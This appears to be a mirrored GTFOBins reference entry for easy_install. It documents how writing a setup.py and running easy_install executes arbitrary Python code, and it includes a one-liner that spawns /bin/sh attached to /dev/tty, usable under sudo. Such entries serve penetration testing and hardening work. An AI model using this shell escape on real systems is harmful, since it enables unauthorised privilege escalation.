1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-08 06:56:15 +01:00
GTFOBins.github.io/_gtfobins/easy_install
2026-01-13 14:38:24 +01:00

20 lines
498 B
Plaintext

---
functions:
inherit:
- code: |-
echo '...' >setup.py
easy_install .
comment: |-
This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).
Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:
```
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
```
contexts:
sudo:
unprivileged:
from: python
...